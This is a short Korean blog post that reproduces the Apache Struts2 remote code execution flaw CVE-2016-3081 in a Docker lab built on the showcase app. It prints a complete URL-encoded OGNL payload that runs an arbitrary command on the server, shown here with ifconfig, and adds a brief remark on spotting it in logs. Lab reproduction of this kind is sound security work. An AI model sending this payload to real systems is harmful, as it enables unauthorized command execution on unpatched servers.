[CVE-2016-3081] Apache Struts2 RCE Exploit
Apache Struts2 RCE만 벌써 세 번째 포스팅이다. 역시 재현의 용의성을 위해 Docker Hub에 이미지를 올려두었다.
1 2 3 4 5 |
Ubuntu# docker pull xiphiasilver/apache_struts2:cve-2016-3081 Ubuntu# docker run -p 8080:8080 -d xiphiasilver/apache_struts2:cve-2016-3081 Ubuntu# docker exec -it [container ID] /bin/bash Docker# cp ~/struts-2.3.28/apps/struts2-showcase.war /opt/tomcat/webapps/ Docker# /opt/tomcat/bin/startup.sh |
역시 showcase 앱으로 테스트할 것이다.
/opt/tomcat/webapp/struts2-showcase/WEB-INF/classes 디렉토리에 struts.xml 파일을 열어보면, 아래와 같은 파라미터가 있을 것이다. 이 파라미터의 설정값이 true로 되어 있는지 먼저 확인하고 수정해야 한다.
<constant name=”struts.enable.DynamicMethodInvocation” value=”true” />
1 |
method:%23_memberAccess%3d%40ognl.OgnlContext%20%40DEFAULT_MEMBER_ACCESS%2c%23a%3d%40java.lang.Runtime%40getRuntime%28%29.exec%28%23parameters.command%20%5B0%5D%29.getInputStream%28%29%2c%23b%3dnew%20java.io.InputStreamReader%28%23a%29%2c%23c%3dnew%20%20java.io.BufferedReader%28%23b%29%2c%23d%3dnew%20char%5B51020%5D%2c%23c.read%28%23d%29%2c%23kxlzx%3d%20%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2c%23kxlzx.println%28%23d%20%29%2c%23kxlzx.close&command=ifconfig |
위의 PoC 코드는 opensymphony 또는 ProcessBuilder를 포함하지 않는다. 로그 등을 검색할 때 조금 더 신경을 써야할 듯 하다.
이번 Exploit 기술적인 설명은 아래 링크한 이글루 시큐리티 블로그에 잘 설명되어 있다.
http://www.igloosec.co.kr/BLOG_Apache%20Struts2%20%EC%B7%A8%EC%95%BD%EC%A0%90%20(CVE-2016-3081)?searchItem=&searchWord=&bbsCateId=1&gotoPage=2